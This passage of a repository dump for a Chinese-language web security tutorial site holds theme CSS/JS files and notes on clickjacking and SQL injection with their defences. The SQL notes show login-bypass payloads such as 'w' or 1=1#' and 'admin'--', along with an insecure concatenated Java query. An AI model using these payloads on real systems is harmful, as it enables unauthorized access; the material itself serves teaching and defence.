55 | 56 | 57 | 58 | 59 | 60 | {%- for path in extra_javascript %} 61 | 62 | {%- endfor %} 63 | 64 | 65 | -------------------------------------------------------------------------------- /orange/content.html: -------------------------------------------------------------------------------- 1 | {{ content }} 2 | -------------------------------------------------------------------------------- /orange/css/base.css: -------------------------------------------------------------------------------- 1 | body { 2 | padding-top: 70px; 3 | } 4 | html{ 5 | position: relative; 6 | min-height: 100%; 7 | } 8 | h1[id]:before, h2[id]:before, h3[id]:before, h4[id]:before, h5[id]:before, h6[id]:before { 9 | content: ""; 10 | display: block; 11 | margin-top: -75px; 12 | height: 75px; 13 | } 14 | 15 | ul.nav li.main { 16 | font-weight: bold; 17 | } 18 | 19 | div.col-md-3 { 20 | padding-left: 0; 21 | } 22 | 23 | div.col-md-9 { 24 | padding-bottom: 100px; 25 | } 26 | 27 | div.source-links { 28 | float: right; 29 | } 30 | 31 | /* 32 | * Side navigation 33 | * 34 | * Scrollspy and affixed enhanced navigation to highlight sections and secondary 35 | * sections of docs content. 36 | */ 37 | 38 | /* By default it's not affixed in mobile views, so undo that */ 39 | .bs-sidebar.affix { 40 | position: static; 41 | } 42 | 43 | .bs-sidebar.well { 44 | padding: 0; 45 | } 46 | 47 | /* First level of nav */ 48 | .bs-sidenav { 49 | margin-top: 30px; 50 | margin-bottom: 30px; 51 | padding-top: 10px; 52 | padding-bottom: 10px; 53 | border-radius: 5px; 54 | } 55 | 56 | /* All levels of nav */ 57 | .bs-sidebar .nav > li > a { 58 | display: block; 59 | padding: 5px 20px; 60 | z-index: 1; 61 | } 62 | .bs-sidebar .nav > li > a:hover, 63 | .bs-sidebar .nav > li > a:focus { 64 | text-decoration: none; 65 | border-right: 1px solid; 66 | } 67 | .bs-sidebar .nav > .active > a, 68 | .bs-sidebar .nav > .active:hover > a, 69 | .bs-sidebar .nav > .active:focus > a { 70 | font-weight: bold; 71 | background-color: transparent; 72 | border-right: 1px solid; 73 | } 74 | 75 | /* Nav: second level (shown on .active) */ 76 | .bs-sidebar .nav .nav { 77 | display: none; /* Hide by default, but at >768px, show it */ 78 | margin-bottom: 8px; 79 | } 80 | .bs-sidebar .nav .nav > li > a { 81 | padding-top: 3px; 82 | padding-bottom: 3px; 83 | padding-left: 30px; 84 | font-size: 90%; 85 | } 86 | 87 | /* Show and affix the side nav when space allows it */ 88 | @media (min-width: 992px) { 89 | .bs-sidebar .nav > .active > ul { 90 | display: block; 91 | } 92 | /* Widen the fixed sidebar */ 93 | .bs-sidebar.affix, 94 | .bs-sidebar.affix-bottom { 95 | width: 213px; 96 | } 97 | .bs-sidebar.affix { 98 | position: fixed; /* Undo the static from mobile first approach */ 99 | top: 80px; 100 | } 101 | .bs-sidebar.affix-bottom { 102 | position: absolute; /* Undo the static from mobile first approach */ 103 | } 104 | .bs-sidebar.affix-bottom .bs-sidenav, 105 | .bs-sidebar.affix .bs-sidenav { 106 | margin-top: 0; 107 | margin-bottom: 0; 108 | } 109 | } 110 | @media (min-width: 1200px) { 111 | /* Widen the fixed sidebar again */ 112 | .bs-sidebar.affix-bottom, 113 | .bs-sidebar.affix { 114 | width: 263px; 115 | } 116 | } 117 | hr { 118 | border-top: 1px solid #aaa; 119 | } 120 | .footer { 121 | position: absolute; 122 | bottom: 0; 123 | width: 100%; 124 | height: 70px; 125 | margin-top: 30px; 126 | margin-bottom: 10px; 127 | text-align: center; 128 | font-weight: 200; 129 | } 130 | 131 | @media (min-width: 1300px){ 132 | .navbar>.container{ 133 | padding: 0px; 134 | width: 1300px; 135 | } 136 | } 137 | div.col-md-9 h1:first-of-type { 138 | text-align: center; 139 | font-size: 60px; 140 | font-weight: 300; 141 | } 142 | div.col-md-9 p:first-of-type { 143 | text-align: center; 144 | } 145 | table{ 146 | width: 100%; 147 | margin-bottom: 20px; 148 | } 149 | table>thead>tr>th, table>tbody>tr>th, table>tfoot>tr>th, table>thead>tr>td, table>tbody>tr>td, table>tfoot>tr>td { 150 | padding: 8px; 151 | line-height: 1.428571429; 152 | vertical-align: top; 153 | border-top: 1px solid #ddd; 154 | } 155 | p{ 156 | text-indent: 2em; 157 | } 158 | @media (max-width: 1299px){ 159 | .navbar-toggle { 160 | display: block; 161 | } 162 | .navbar-collapse.collapse { 163 | display: none!important; 164 | } 165 | .navbar-header { 166 | float: none; 167 | } 168 | .navbar-nav,.navbar-nav>li{ 169 | float: none; 170 | } 171 | .navbar-collapse.in { 172 | overflow-y: auto!important; 173 | } 174 | .navbar-nav .open .dropdown-menu { 175 | position: static; 176 | float: none; 177 | width: auto; 178 | margin-top: 0; 179 | background-color: transparent; 180 | border: 0; 181 | box-shadow: none; 182 | } 183 | .navbar-default .navbar-nav .open .dropdown-menu>li>a { 184 | color: #fff; 185 | } 186 | .navbar-default .navbar-nav .open .dropdown-menu>li>a:hover, .navbar-default .navbar-nav .open .dropdown-menu>li>a:focus { 187 | color: #fff; 188 | background-color: #97310e; 189 | } 190 | } 191 | -------------------------------------------------------------------------------- /orange/css/highlight.css: -------------------------------------------------------------------------------- 1 | /* 2 | This is the GitHub theme for highlight.js 3 | 4 | github.com style (c) Vasily Polovnyov 5 | 6 | */ 7 | 8 | .hljs { 9 | display: block; 10 | overflow-x: auto; 11 | padding: 0.5em; 12 | color: #333; 13 | -webkit-text-size-adjust: none; 14 | } 15 | 16 | .hljs-comment, 17 | .diff .hljs-header, 18 | .hljs-javadoc { 19 | color: #998; 20 | font-style: italic; 21 | } 22 | 23 | .hljs-keyword, 24 | .css .rule .hljs-keyword, 25 | .hljs-winutils, 26 | .nginx .hljs-title, 27 | .hljs-subst, 28 | .hljs-request, 29 | .hljs-status { 30 | color: #333; 31 | font-weight: bold; 32 | } 33 | 34 | .hljs-number, 35 | .hljs-hexcolor, 36 | .ruby .hljs-constant { 37 | color: #008080; 38 | } 39 | 40 | .hljs-string, 41 | .hljs-tag .hljs-value, 42 | .hljs-phpdoc, 43 | .hljs-dartdoc, 44 | .tex .hljs-formula { 45 | color: #d14; 46 | } 47 | 48 | .hljs-title, 49 | .hljs-id, 50 | .scss .hljs-preprocessor { 51 | color: #900; 52 | font-weight: bold; 53 | } 54 | 55 | .hljs-list .hljs-keyword, 56 | .hljs-subst { 57 | font-weight: normal; 58 | } 59 | 60 | .hljs-class .hljs-title, 61 | .hljs-type, 62 | .vhdl .hljs-literal, 63 | .tex .hljs-command { 64 | color: #458; 65 | font-weight: bold; 66 | } 67 | 68 | .hljs-tag, 69 | .hljs-tag .hljs-title, 70 | .hljs-rule .hljs-property, 71 | .django .hljs-tag .hljs-keyword { 72 | color: #000080; 73 | font-weight: normal; 74 | } 75 | 76 | .hljs-attribute, 77 | .hljs-variable, 78 | .lisp .hljs-body, 79 | .hljs-name { 80 | color: #008080; 81 | } 82 | 83 | .hljs-regexp { 84 | color: #009926; 85 | } 86 | 87 | .hljs-symbol, 88 | .ruby .hljs-symbol .hljs-string, 89 | .lisp .hljs-keyword, 90 | .clojure .hljs-keyword, 91 | .scheme .hljs-keyword, 92 | .tex .hljs-special, 93 | .hljs-prompt { 94 | color: #990073; 95 | } 96 | 97 | .hljs-built_in { 98 | color: #0086b3; 99 | } 100 | 101 | .hljs-preprocessor, 102 | .hljs-pragma, 103 | .hljs-pi, 104 | .hljs-doctype, 105 | .hljs-shebang, 106 | .hljs-cdata { 107 | color: #999; 108 | font-weight: bold; 109 | } 110 | 111 | .hljs-deletion { 112 | background: #fdd; 113 | } 114 | 115 | .hljs-addition { 116 | background: #dfd; 117 | } 118 | 119 | .diff .hljs-change { 120 | background: #0086b3; 121 | } 122 | 123 | .hljs-chunk { 124 | color: #aaa; 125 | } 126 | -------------------------------------------------------------------------------- /orange/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/orange/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /orange/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/orange/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /orange/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/orange/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /orange/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acgotaku/WebSecurity/698e3bd05dbd9353e57b26e9fe15a5b1b8962aaa/orange/img/favicon.ico -------------------------------------------------------------------------------- /orange/js/base.js: -------------------------------------------------------------------------------- 1 | 2 | /* Highlight */ 3 | $( document ).ready(function() { 4 | hljs.initHighlightingOnLoad(); 5 | $('table').addClass('table table-striped table-hover'); 6 | }); 7 | 8 | 9 | $('body').scrollspy({ 10 | target: '.bs-sidebar', 11 | }); 12 | 13 | 14 | /* Prevent disabled links from causing a page reload */ 15 | $("li.disabled a").click(function() { 16 | event.preventDefault(); 17 | }); 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /orange/nav.html: -------------------------------------------------------------------------------- 1 | 72 | -------------------------------------------------------------------------------- /orange/toc.html: -------------------------------------------------------------------------------- 1 | 11 | -------------------------------------------------------------------------------- /site/404.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 298 | 299 |
300 |
301 |
302 |
    303 | 304 |
305 |
306 |
307 |
308 |
309 |
310 | 317 |
318 | 319 | 320 | 321 | -------------------------------------------------------------------------------- /site/content/Clickjacking/Click Jacking defence.md~: -------------------------------------------------------------------------------- 1 | # Click Jacking Injection 2 | 3 | Click Jacking Injection 4 | 5 | --- 6 | 7 | ##一、Frame Busting 8 | 通常写一段代码禁止JavaScript代码,以禁止iframe嵌套。如可写下列一段代码: 9 | 10 | if(top.location!=location) 11 | top.location=self.location; 12 | 13 | 常见的Frame Busting有以下形式: 14 | 15 | if (top != self) 16 | if (top.location != self.location) 17 | if (top.location != location) 18 | if (parent.frames.length > 0) 19 | if (window != top) 20 | if (window.top !== window.self) 21 | if (window.self != window.top) 22 | if (parent && parent != window) 23 | if (parent && parent.frames && parent.frames.length>0) 24 | if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0)) 25 | top.location = self.location 26 | top.location.href = document.location.href 27 | top.location.href = self.location.href 28 | top.location.replace(self.location) 29 | top.location.href = window.location.href 30 | top.location.replace(document.location) 31 | top.location.href = window.location.href 32 | top.location.href = "URL" 33 | document.write('') 34 | top.location = location 35 | top.location.replace(document.location) 36 | top.location.replace('URL') 37 | top.location.href = document.location 38 | top.location.replace(window.location.href) 39 | top.location.href = location.href 40 | self.parent.location = document.location 41 | parent.location.href = self.document.location 42 | top.location.href = self.location 43 | top.location = window.location 44 | top.location.replace(window.location.pathname) 45 | window.top.location = window.self.location 46 | setTimeout(function(){document.body.innerHTML='';},1); 47 | window.self.onload = function(evt){document.body.innerHTML='';} 48 | var url = window.location.href; top.location.replace(url) 49 | 50 | 但是Frame Busting也有很多缺陷,由于它是JavaScript写的,控制能力不是特别强,因此有很多方法绕过它。 51 | 52 | ##二、X-Frame-Options 53 | X-Frame-Options HTTP 响应头,可以指示浏览器是否应该加载一个iframe中的页面。网站可以通过设置X-Frame-Options阻止站点内的页面被其他页面嵌入从而防止点击劫持。 54 | 1、X-FRAME-OPTIONS 55 | X-Frame-Options共有三个值: 56 | DENY 57 | 任何页面都不能被嵌入到iframe或者frame中。 58 | SAMEORIGIN 59 | 页面只能被本站页面嵌入到iframe或者frame中。 60 | ALLOW-FROM URI 61 | 页面自能被指定的Uri嵌入到iframe或frame中。 62 | 63 | 2、APACHE配置X-FRAME-OPTIONS 64 | 在站点配置文件httpd.conf中添加如下配置,限制只有站点内的页面才可以嵌入iframe。 65 | Header always append X-Frame-Options SAMEORIGIN 66 | 配置之后重启apache使其生效。该配置方式对IBM HTTP Server同样适用。 67 | 如果同一apache服务器上有多个站点,只想针对一个站点进行配置,可以修改.htaccess文件,添加如下内容: 68 | Header append X-FRAME-OPTIONS "SAMEORIGIN" 69 | 70 | 3、NGINX 配置X-FRAME-OPTIONS 71 | 到 nginx/conf文件夹下,修改nginx.conf ,添加如下内容: 72 | add_header X-Frame-Options "SAMEORIGIN"; 73 | 重启Nginx服务。 74 | 75 | 4、IIS配置X-FRAME-OPTIONS 76 | 在web站点的web.config中配置: 77 | 78 | 79 | 80 |  ... 81 | 82 | 83 |    84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | ... 92 | 93 | 94 | -------------------------------------------------------------------------------- /site/content/Clickjacking/Click_Jacking.md~: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | 3 | Structured Query Language Injection 4 | 5 | --- 6 | 7 | 8 | ## 1 flash点击劫持: 9 | 例:clickJacking攻击:当你访问一个恶意网站的时候,攻击者可以控制你的浏览器对一些链接的访问,这个漏洞影响到几乎所有浏览器,除非你使用 lynx 一类的字符浏览器。这个漏洞与 JavaScript 无关,即使你关闭浏览器的 JavaScript 功能也无能为力。事实上这是浏览器工作原理中的一个缺陷,无法通过简单的补丁解决。一个恶意网站能让你在毫不知情的情况下点击任意链接,任意按钮或网站上任意东西。 10 | 如果这还不能让你恐慌的话,想想这样的情形,一个用户在被攻击的时候将毫不知情而且束手无策: 11 | 比如在 Ebay,因为可以嵌入 JavaScript,虽然攻击并不需要 JavaScript,但可以让攻击更容易进行。只用 lynx 字符浏览器才能保护你自己,同时不要任何动态的东西。该漏洞用到 DHTML,使用防 frame 代码可以保护你不受跨站点攻击,但攻击者仍可以强迫你点击任何链接。你所做的任何点击都被引导到恶意链接上,所以,那些 Flash 游戏将首当其冲。 12 | 据 Hansen 讲,他们已经同微软以及 Mozilla 谈论过这个问题,然而他们均表示这是个非常棘手的问题,目前没有简单的解决办法。 13 | Grossman 确切表示,微软最新的 IE8 和 Mozilla 最新的 Firefox 3 均不能幸免。 14 | 当前,唯一的办法是禁用浏览器的脚本和插件功能。 15 | 16 | ## 2 图片覆盖攻击: 17 | 页面中的logo图像被覆盖了,并指向某钓鱼网站,XSIO不同于CSS。它利用图片的style,或者能控制CSS。如果应用没有限制style的position为absolute的话,图片就可以覆盖到页面的任何位置,形成点击劫持。 18 | 例:百度空间 19 | 20 | 21 | 23 | 24 | 25 | 图片可以伪装得像一个正常的链接、按钮;或者在图片中构造一些文字,覆盖在关键的位置,就有可能完全改变页面中想表达的意思,在这种情况下,不需要用户点击,也能达到欺骗的目的。由于标签在很多系统是对用户开放的,因此在现在中有很多站点存在被XSIO攻击的可能。 26 | 27 | ## 3 拖拽劫持与数据窃取 28 | 目前很多浏览器都开始支持Drag & Drop 的API。对于用户来说,拖拽使他们的操作更加简单。浏览器中的拖拽对象可以是一个链接,也可以是一段文字,还可以从一个窗口拖拽到另外一个窗口,因此拖拽是不受同源策略限制的。 29 | "拖拽劫持"的思路是诱使用户从隐藏的不可见iframe中"拖拽"出攻击者希望得到的数据,然后放到攻击者能控制的另外一个页面中,从而窃取数据。 30 | 在JavaScript或者Java API的支持下,这个攻击过程会变得非常隐蔽。因为它突破了传统ClickJacking一些先天的局限,所以这种新型的"拖拽劫持"能够造成更大的破坏。 31 | 32 | ## 4 触屏劫持(TapJacking) 33 | 一次触屏操作,可能会对应一下几个事件: 34 | touchstart,手指触摸屏幕时发生; 35 | touchend,手指离开屏幕时发生; 36 | touchmove,手指滑动时发生; 37 | touchcancel,系统可取消touch事件; 38 | 通过将一个不可见的iframe覆盖到当前网页上,可以劫持用户的触屏操作。 39 | ![TapJacking](img/TapJacking.jpg) 40 | 而手机的屏幕范围有限,手机浏览器为了节约空间,甚至掩藏了地址栏,因此手机上的视觉欺骗可能会变得更加容易实施。 41 | 42 | -------------------------------------------------------------------------------- /site/content/Clickjacking/Overview.md~: -------------------------------------------------------------------------------- 1 | # Click Jacking 2 | 3 | 点击劫持——一个视觉欺骗手段 4 | --- 5 | 6 | ## 点击劫持概述 7 | 点击劫持是一种视觉上的欺骗手段,攻击者使用一个透明的,不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,用户在该网页上进行操作,并在不知情的情况下点击透明的iframe界面。 8 | 通过调整透明的iframe的位置,可以诱使用户恰好点击在iframe上某些功能性按钮上。 9 | 点击劫持原理如下图所示: 10 | ![ClickJacking](img/ClickJacking.jpg) 11 | 12 | ##点击劫持特征 13 | 1、点击劫持是一种恶意攻击技术,用于跟踪网络用户,获取其私密信息或者通过让用户点击看似正常的网页来远程控制其电脑。很多浏览器和操作平台都有这样的漏洞。 14 | 2、点击劫持技术可以用嵌入代码或者文本的形式出现,在用户毫不知情的情况下完成攻击,比如点击一个表面显示是“播放”某个视频的按钮,而实际上完成的操作却是将用户的社交网站个人信息改为“公开”状态。 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /site/content/Clickjacking/Overview/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | Overview - Web Security 12 | 13 | 14 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 298 | 299 |
300 |
301 |
302 | 312 |
313 |

Click Jacking

314 |

点击劫持 一个视觉欺骗手段

315 |
316 |

点击劫持概述

317 |

点击劫持是一种视觉上的欺骗手段,攻击者使用一个透明的,不可见的iframe,覆盖在一个网页上,然后诱使用户在该网页上进行操作,用户在该网页上进行操作,并在不知情的情况下点击透明的iframe界面。通过调整透明的iframe的位置,可以诱使用户恰好点击在iframe上某些功能性按钮上。

318 |

点击劫持原理如下图所示:
319 | ClickJacking

320 |

点击劫持特征

321 |

点击劫持是一种恶意攻击技术,用于跟踪网络用户,获取其私密信息或者通过让用户点击看似正常的网页来远程控制其电脑。很多浏览器和操作平台都有这样的漏洞。

322 |

点击劫持技术可以用嵌入代码或者文本的形式出现,在用户毫不知情的情况下完成攻击,比如点击一个表面显示是“播放”某个视频的按钮,而实际上完成的操作却是将用户的社交网站个人信息改为“公开”状态。

323 |
324 |
325 |
326 |
327 | 334 |
335 | 336 | 337 | 338 | -------------------------------------------------------------------------------- /site/content/SQL_injection/Overview.md~: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | 3 | Structured Query Language Injection 4 | 5 | --- 6 | 7 | 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 8 | SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。 9 | 根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:不当的类型处理、不安全的数据库配置、不合理的查询集处理、不当的错误处理、转义字符处理不合适、多个提交处理不当。当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。 10 | -------------------------------------------------------------------------------- /site/content/SQL_injection/SQL_injection defence.md~: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | 3 | Structured Query Language Injection 4 | 5 | --- 6 | 7 | ##SQL注入的预防 8 | 1、单引号配对转义 9 | 如果用户提交的数字数据内置在SQL查询中,这种数据通常并不包含在单引号中。因此,攻击者能够破坏数据使用环境并开始输入任意SQL查询,这时就不必输入单引号。在二阶SQL注入攻击中,最初在插入数据库中时已经安全转义的数据随后被从数据库中读取出来,然后再次写入。当重新使用数据时最初配对的引号又恢复到单引号形式。 10 | 如果在使用Oracle的实例中所见,编写存在缺陷的存储过程可能在自身代码中包含的SQL注入漏洞,在存储过程中构建SQL语句时也可能出现类似的安全问题,使用存储过程也无法防止漏洞产生。 11 | 12 | 2、参数化查询(预处理语句) 13 | 大多数数据库和应用开发平台都提供API,对不可信的输入进行安全处理,以防止SQL注入漏洞。 14 | (1)应用程序指定查询结构,为用户输入的每个数据预留占位符。 15 | (2)应用程序指定每个占位符的内容。 16 | 不安全查询和相应的参数化查询的对比: 17 | String queryText = "select ename,sal from emp where ename = '" 18 | queryText += request.getParameter("name"); 19 | queryText +="'"; 20 | stmt = con.createStatement(); 21 | rs = stmt.executeQuery(querytext); 22 | 23 | 上述代码中,用户提交的name参数被直接嵌入到一个SQL语句中,致使应用程序易受SQL注入。 24 | String queryText = "SELECT ename,sal FROM EMP WHERE ename = ?" 25 | stmt = con.prepareStatement(queryText); 26 | stmt.setString(1,request.getParameter("name")); 27 | rs = stmt.executeQuery(); 28 | 29 | 上述代码使用一个问号作为用户提交参数的占位符,以确定查询的结构。随后,代码调用prepareStatement方法解释了这个参数,并确定将要执行的查询结构。之后,它使用setString方法指定参数的实际值。由于查询的结构已经固定,这个值可为任何数据类型,而不会影响查询的结构。 30 | 31 | 3、深层防御 32 | (1)当访问数据库时,应用程序应尽可能使用最低权限的账户。 33 | (2)许多企业数据库包含大量默认功能,可被能够执行任意SQL语句的攻击者利用。 34 | (3)应评估、测试并及时安装供应商发布的所有安全补丁,以修复数据库软件本身已知的漏洞。 35 | -------------------------------------------------------------------------------- /site/content/SQL_injection/SQL_injection.md~: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | 3 | Structured Query Language Injection 4 | 5 | --- 6 | 7 | ## 数据库分析 8 | 9 | 通常Web应用程序使用的数据库保存一下信息: 10 | 用户账户、证书和个人信息; 11 | 所销售商品的介绍与价格; 12 | 订单、账单和支付细节; 13 | 每名应用程序用户的权限。 14 | 数据库中的信息通过SQL访问。SQL可用于读取、更新、增加或删除数据库中保存的信息。如果建立语句的方法不安全,那么应用程序可能易于受到SQL注入攻击。 15 | 16 | ##基本漏洞 17 | 18 | 以书籍零售商使用的Web应用程序为例,该应用程序允许用户根据作者、书名、出版商等信息搜索产品。 19 | 当一个用户搜索Wiley出版的所有书籍时,应用程序执行以下查询: 20 | SELECT author ,title, year FROM books WHERE publisher = ‘ Wiley’ and published = 1 21 | 分析:在这个查询中,等号左边的词由SQL关键字,表和数据库列名称构成。这个部分的全部内容由程序员在创建应用程序时建立。当然表达式Wiley由用户提交,它是一个数据项。SQL查询中的字符串数据必须包含在单引号内,与查询的其他内容分隔开来。 22 | 漏洞一:SELECT author ,title, year FROM books WHERE publisher = ‘O’Reilly’ and published = 1 23 | 在这个实例中,查询解释器以和前面一个示例相同的方式到达字符串数据位置。它解析这个包含在单引号中的数据,得到O。然后遇到Reilly’,这并不是有效的SQL语法,因此应用程序报错。 24 | 漏洞二:攻击者通过对查询进行修改,通过以下搜索项,返回零售商目录中的每一本书籍。 25 | Wiley ‘ OR 1=1-- 26 | 此时,应用程序将执行以下的查询: 27 | SELECT author, title, year FROM books WHERE publisher = ‘Wiley’ OR 1=1-- ‘ and published=1 28 | 这个查询对开发者查询中的WHERE子句进行修改,增加另外一个条件。数据库将检查书籍表中的每一行,提取published列值为Wiley或其中1=1的每条记录。因为1=1永真,所以数据库将返回书籍表中的所有记录。 29 | 如下图: 30 | 31 | ![register](img/register.png) 32 | 用户注册,用户名为abcd,用户密码为abcd; 33 | 34 | ![login1](img/login1.png) 35 | 输入用户名,密码之后,点击“register”,界面跳转到上界面; 36 | 37 | ![injection](img/injection.png) 38 | 用“w’ or 1=1#”实现SQL注入,由于mysql中的注释符为“#”; 39 | 40 | ![login2](img/login2.png) 41 | 点击“login”之后获取之前用户注册跳转的界面。 42 | 43 | ##不同语句类型的注入 44 | 45 | 1、SELCET语句 46 | 作用:从数据库中获取信息。 47 | 使用方法:查询WHERE子句,由于WHERE子句一般在SELECT语句的最后,攻击者可以使用注释符号将查询截短到其输入的结束位置,而不使整个语法失效。 48 | 49 | 2、INSERT语句 50 | 作用:在表中建立一个新的数据行。 51 | 使用方法:攻击者完全盲目地注入一个INSERT语句也能够从应用程序中提取出字符串数据。比如攻击者介意拦截数据库版本的字符串,并把它插入自己用户资料的一个字段中。 52 | 53 | 3、UPDATE语句 54 | 作用:修改表中的一行或几行数据。 55 | 使用方法:先核实用户的现有密码是否正确,如果密码无误,就用新的值更新它。若这项功能存在SQL注入漏洞,那么攻击者就能避开现有的密码检查,通过输入“admin’--”这样的用户更新管理员密码。 56 | 57 | 4、DELETE语句 58 | 作用:删除表中的一行或几行数据。 59 | 使用方法:通常使用WHERE子句告诉数据库更新表中哪些行的数据,并可能在这个子句中并入用户提交的数据。破坏正常运行的WHERE子句可能造成严重的后果。 60 | 61 | 62 | ##SQL注入漏洞类型 63 | 64 | 1、注入字符串数据 65 | 若SQL查询合并用户提交的数据,它会将这些数据包含在单引号中。为利用任何SQL注入漏洞,则需摆脱这些引号的束缚。 66 | 67 | 2、注入数字数据 68 | 如果SQL查询合并用户提交的数字数据,应用程序仍然会将它包含在单引号之中,作为字符串进行处理。 因此,一定要执行前面描述的针对字符串数据的渗透测试步骤。但是,许多时候,应用程序会将数字数据以数字格式直接传送到数据库中,并不把它放入单引号中。 69 | -------------------------------------------------------------------------------- /site/css/base.css: -------------------------------------------------------------------------------- 1 | html { 2 | 3 | font-family: "Roboto",'Microsoft JhengHei','Microsoft Yahei',sans-serif; 4 | } 5 | footer span{ 6 | color: #333; 7 | } 8 | .index{ 9 | position: fixed !important; 10 | } 11 | .m3{ 12 | min-height: 1px; 13 | } 14 | h1{ 15 | font-size: 60px; 16 | } 17 | h2,h3{ 18 | font-size: 40px; 19 | } 20 | .disabled{ 21 | cursor: not-allowed; 22 | } 23 | .bold > a { 24 | font-weight: bold; 25 | } 26 | div.col.s12.m9 ul li{ 27 | list-style-type: disc; 28 | margin-left: 40px; 29 | } 30 | div.col.s12.m9 h1:first-of-type { 31 | text-align: center; 32 | font-size: 60px; 33 | font-weight: 300; 34 | } 35 | 36 | div.col.s12.m9 p:first-of-type { 37 | text-align: center; 38 | } 39 | 40 | div.col.s12.m9 p.admonition-title:first-of-type { 41 | text-align: left; 42 | } 43 | 44 | div.col.s12.m9 h1:first-of-type .headerlink { 45 | display: none; 46 | } 47 | 48 | div.col.s12.m9 p{ 49 | text-indent: 2em; 50 | } 51 | @media only screen and (min-width : 1200px) { 52 | .container { 53 | width: 80%; } } 54 | 55 | @media only screen and (min-width : 993px) { 56 | .container { 57 | width: 90%; } } -------------------------------------------------------------------------------- /site/css/highlight.css: -------------------------------------------------------------------------------- 1 | /* 2 | This is the GitHub theme for highlight.js 3 | 4 | github.com style (c) Vasily Polovnyov 5 | 6 | */ 7 | 8 | .hljs { 9 | display: block; padding: 0.5em; 10 | color: #333; 11 | } 12 | 13 | .hljs-comment, 14 | .hljs-template_comment, 15 | .diff .hljs-header, 16 | .hljs-javadoc { 17 | color: #998; 18 | font-style: italic 19 | } 20 | 21 | .hljs-keyword, 22 | .css .rule .hljs-keyword, 23 | .hljs-winutils, 24 | .javascript .hljs-title, 25 | .nginx .hljs-title, 26 | .hljs-subst, 27 | .hljs-request, 28 | .hljs-status { 29 | color: #333; 30 | font-weight: bold 31 | } 32 | 33 | .hljs-number, 34 | .hljs-hexcolor, 35 | .ruby .hljs-constant { 36 | color: #099; 37 | } 38 | 39 | .hljs-string, 40 | .hljs-tag .hljs-value, 41 | .hljs-phpdoc, 42 | .tex .hljs-formula { 43 | color: #d14 44 | } 45 | 46 | .hljs-title, 47 | .hljs-id, 48 | .coffeescript .hljs-params, 49 | .scss .hljs-preprocessor { 50 | color: #900; 51 | font-weight: bold 52 | } 53 | 54 | .javascript .hljs-title, 55 | .lisp .hljs-title, 56 | .clojure .hljs-title, 57 | .hljs-subst { 58 | font-weight: normal 59 | } 60 | 61 | .hljs-class .hljs-title, 62 | .haskell .hljs-type, 63 | .vhdl .hljs-literal, 64 | .tex .hljs-command { 65 | color: #458; 66 | font-weight: bold 67 | } 68 | 69 | .hljs-tag, 70 | .hljs-tag .hljs-title, 71 | .hljs-rules .hljs-property, 72 | .django .hljs-tag .hljs-keyword { 73 | color: #000080; 74 | font-weight: normal 75 | } 76 | 77 | .hljs-attribute, 78 | .hljs-variable, 79 | .lisp .hljs-body { 80 | color: #008080 81 | } 82 | 83 | .hljs-regexp { 84 | color: #009926 85 | } 86 | 87 | .hljs-symbol, 88 | .ruby .hljs-symbol .hljs-string, 89 | .lisp .hljs-keyword, 90 | .tex .hljs-special, 91 | .hljs-prompt { 92 | color: #990073 93 | } 94 | 95 | .hljs-built_in, 96 | .lisp .hljs-title, 97 | .clojure .hljs-built_in { 98 | color: #0086b3 99 | } 100 | 101 | .hljs-preprocessor, 102 | .hljs-pragma, 103 | .hljs-pi, 104 | .hljs-doctype, 105 | .hljs-shebang, 106 | .hljs-cdata { 107 | color: #999; 108 | font-weight: bold 109 | } 110 | 111 | 